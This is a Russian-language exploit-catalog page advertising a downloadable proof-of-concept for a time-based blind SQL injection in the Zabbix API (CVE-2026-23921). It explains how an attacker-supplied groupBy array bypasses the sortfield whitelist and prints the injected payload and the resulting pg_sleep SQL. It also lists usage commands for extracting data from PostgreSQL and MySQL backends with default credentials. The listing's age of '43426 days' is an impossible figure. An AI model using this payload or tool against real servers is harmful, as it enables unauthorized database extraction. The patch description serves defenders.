Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-23921 — Эксплойт proof-of-concept для CVE-2026-23921 — слепой SQL-инъекции на основе времени в Zabbix API через параметр sortfield, позволяющей извлекать данные из бэкендов PostgreSQL и MySQL. | Kitploit
Инструменты/GitHubGitHub/qucklecrabik/cve-2026-23921
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийВеб-безопасностьТестирование на ПроникновениеБезопасность Баз Данных
GitHubqucklecrabik/cve-2026-23921

CVE-2026-23921

Эксплойт proof-of-concept для CVE-2026-23921 — слепой SQL-инъекции на основе времени в Zabbix API через параметр sortfield, позволяющей извлекать данные из бэкендов PostgreSQL и MySQL.

Репозиторий
43426 дней назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-23921 — Time-Based Blind SQL-инъекция в Zabbix

Уязвимые версии: Zabbix < 7.0.22 / < 7.2.15 / < 7.4.6
CVSS: High
Тип: Time-based blind SQL-инъекция через параметр sortfield
Требуется аутентификация: Да (любой пользователь API; Super Admin избегает проверок прав)

Уязвимость

Устаревшие сервисы Zabbix API (host.get, trigger.get, item.get и т. д.) принимают необъявленный параметр groupBy через zbx_array_merge(). В CApiService::applyQuerySortOptions() массив groupBy заменяет жёстко заданный белый список, используемый для валидации sortfield. Атакующий передаёт одну и ту же SQL-полезную нагрузку и в groupBy, и в sortfield — валидация проходит по контролируемому атакующим списку, и полезная нагрузка попадает в ORDER BY без экранирования.

Сценарий атаки

  1. Атакующий отправляет groupBy: ["hostid,(SELECT IF(...))--"] и sortfield: "hostid,(SELECT IF(...))--" с countOutput: true
  2. zbx_array_merge сохраняет необъявленный ключ groupBy
  3. applyQuerySortOptions строит белый список из groupBy → валидация проходит
  4. applyQuerySortField конкатенирует полезную нагрузку в ORDER BY
  5. createSelectQueryFromParts формирует итоговый SQL без экранирования

Итоговый SQL (PostgreSQL)

SELECT COUNT(*) AS rowscount
FROM hosts h
WHERE h.flags IN (0,4)
ORDER BY h.hostid,(SELECT CASE WHEN ascii(substring(version() FROM 1 FOR 1))>50
                   THEN pg_sleep(3) ELSE pg_sleep(0) END)--

Использование

# PostgreSQL backend (default)
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db pgsql

# MySQL backend
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --user Admin --password zabbix --db mysql

# Existing auth token
python exploit_CVE-2026-23921.py \
    --url http://TARGET/api_jsonrpc.php \
    --auth <token> --db pgsql

# Extract arbitrary expression
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db pgsql \
    --expr "current_user"

# Use a different API method
python exploit_CVE-2026-23921.py \
    --url ... --auth ... --db mysql \
    --method trigger.get --sort-col triggerid

Исправление

Обновитесь до Zabbix 7.0.22 / 7.2.15 / 7.4.6 или более поздней версии.

Патч заменяет array_merge($options['groupBy'], ...) на array_intersect($this->sortColumns, $options['groupBy']), чтобы значения, предоставленные атакующим, никогда не попадали в белый список. Дополнительно добавлены проверки типов is_string() и is_array() в качестве эшелонированной защиты.

Отказ от ответственности

Этот инструмент предназначен исключительно для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, которыми вы владеете или на тестирование которых у вас есть явное письменное разрешение.

Скачать инструмент